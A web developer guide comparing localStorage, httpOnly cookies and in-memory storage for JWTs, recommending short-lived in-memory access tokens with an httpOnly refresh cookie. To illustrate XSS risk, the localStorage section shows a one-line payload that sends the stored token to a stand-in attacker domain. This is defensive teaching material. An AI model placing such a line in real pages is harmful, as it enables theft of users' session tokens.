Where to Store JWTs: localStorage, Cookies, or Memory?
- localStorage: easy but vulnerable to XSS token theft
- httpOnly cookies: XSS-resistant but vulnerable to CSRF
- In-memory (JS variable): most secure but lost on page refresh
- The access token + refresh token pattern that handles all three
Table of Contents
Where you store a JWT determines which attack vectors apply. There is no option with zero trade-offs — but there is a well-established pattern that handles most risks for single-page applications. Here is how each option compares.
localStorage: The Common Choice With Real Risks
localStorage is the most common JWT storage choice because it is simple: localStorage.setItem('token', jwt) persists across page refreshes and tabs.
The problem: localStorage is accessible to any JavaScript on the page. If your app has an XSS vulnerability — even in a third-party script or npm package — an attacker's code can read and exfiltrate the JWT with:
document.location = 'https://attacker.com/steal?t=' + localStorage.getItem('token')
When localStorage is acceptable:
- Internal tools where XSS risk is low and the cost of a stricter setup is not worth it
- Tokens with very short expiry (15 min or less) that limit the attack window
- Applications that are not handling sensitive user data
httpOnly Cookies: XSS-Resistant but CSRF-Vulnerable
An httpOnly cookie cannot be read by JavaScript at all — only the browser sends it automatically with same-origin HTTP requests. This eliminates the XSS token theft risk entirely.
# Server sets the cookie (Node.js/Express example)
res.cookie('access_token', jwt, {
httpOnly: true, // JS cannot read this
secure: true, // HTTPS only
sameSite: 'strict' // prevents CSRF in most cases
})
The CSRF concern: browsers automatically include cookies on all matching requests, including cross-origin form submissions. A CSRF attack can trigger a request from a malicious site that includes the victim's cookie.
Mitigation: use sameSite: 'strict' or 'lax' (supported in all modern browsers), plus a CSRF token for state-changing requests. With sameSite: strict, CSRF attacks are blocked by the browser.
Recommended for: most production web applications where security is a priority.
Sell Custom Apparel — We Handle Printing & Free ShippingIn-Memory Storage: Most Secure, Least Convenient
Storing the JWT in a JavaScript variable (React state, Zustand, Redux) means it is never written to disk or accessible via cookie APIs. An XSS attack can still steal it within the current page session, but the token disappears when the tab closes.
// React: store token in state (lost on refresh)
const [accessToken, setAccessToken] = useState(null);
// After login:
setAccessToken(response.data.access_token);
The trade-off: users are logged out every time they refresh the page or close the tab. To solve this, combine in-memory access tokens with a httpOnly refresh token cookie:
- Access token: short-lived (15 min), stored in memory only
- Refresh token: longer-lived, stored in httpOnly cookie
- On page load: silently call a /refresh endpoint, get a new access token
This is the pattern used by Auth0's SDK and many security-conscious SPA implementations.
The Recommended Pattern for SPAs
For single-page applications handling user accounts:
- Access token: short expiry (5–15 min), stored in memory (React state or similar)
- Refresh token: longer expiry (1–30 days), stored in httpOnly + secure + sameSite=strict cookie
- Silent refresh: when the access token expires, silently call
/auth/refreshto get a new one — the browser automatically sends the refresh token cookie - Logout: call
/auth/logoutto invalidate the refresh token server-side and clear the cookie
This pattern gives you XSS resistance (access token in memory, refresh token in httpOnly cookie), CSRF resistance (sameSite=strict on the refresh cookie), and automatic session persistence across page refreshes without exposing the token to JavaScript.
Inspect Your Token Structure
Paste your JWT above to see exactly what claims it contains — useful before deciding how sensitive the payload is.
Open Free JWT DecoderFrequently Asked Questions
Is sessionStorage safer than localStorage for JWTs?
Marginally — sessionStorage is tab-isolated and clears when the tab closes, so a stolen token has a shorter window. But it is still accessible via JavaScript, so XSS attacks can still steal it. httpOnly cookies are a stronger choice for production.
Can I store a JWT in a secure cookie that JavaScript can also read?
A secure cookie (HTTPS only) but without httpOnly can be read by JavaScript. This does not add XSS protection. You need both secure and httpOnly for the XSS-resistance benefit.
Does it matter where I store the token if my app has no XSS vulnerabilities?
In practice, even well-maintained apps include third-party scripts (analytics, chat widgets, CDN-hosted libraries) that could be compromised. Defense in depth — using httpOnly cookies — protects against supply chain attacks you cannot fully control.

